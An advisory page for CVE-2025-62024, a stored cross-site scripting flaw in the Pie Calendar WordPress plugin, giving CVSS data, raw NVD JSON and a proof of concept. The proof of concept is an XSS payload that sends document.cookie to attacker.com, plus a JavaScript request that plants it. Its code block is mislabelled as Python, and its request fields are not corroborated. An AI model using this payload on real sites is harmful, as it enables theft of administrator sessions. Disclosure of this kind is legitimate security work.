Security Vulnerability Report
中文
CVE-2025-62024 CVSS 6.5 MEDIUM

CVE-2025-62024

Published: 2025-10-22 15:16:04
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jonathan Jernigan Pie Calendar pie-calendar.This issue affects Pie Calendar: from n/a through <= 1.2.9.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Pie Calendar WordPress Plugin <= 1.2.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62024 PoC - Stored XSS in Pie Calendar WordPress Plugin --> <!-- Requires low-privilege WordPress account --> <!-- Step 1: Create malicious calendar event via WordPress admin or API --> <!-- Payload: <img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie> --> // Example POST request to create event const payload = { 'pie_calendar_event_title': '<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>', 'pie_calendar_event_description': 'Malicious XSS payload', 'pie_calendar_event_date': '2025-12-25', 'action': 'pie_calendar_save_event', 'nonce': 'YOUR_NONCE_VALUE' }; fetch(window.location.origin + '/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: new URLSearchParams(payload) }); // Step 2: When admin visits calendar page, XSS executes // Attacker receives admin cookies via the onerror handler /* Remediation: 1. Implement input validation on all user-supplied fields 2. Use htmlspecialchars() or esc_html() before output 3. Implement Content Security Policy (CSP) headers 4. Update to Pie Calendar >= 1.3.0 */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62024", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:03.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jonathan Jernigan Pie Calendar pie-calendar.This issue affects Pie Calendar: from n/a through <= 1.2.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pie-calendar/vulnerability/wordpress-pie-calendar-plugin-1-2-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}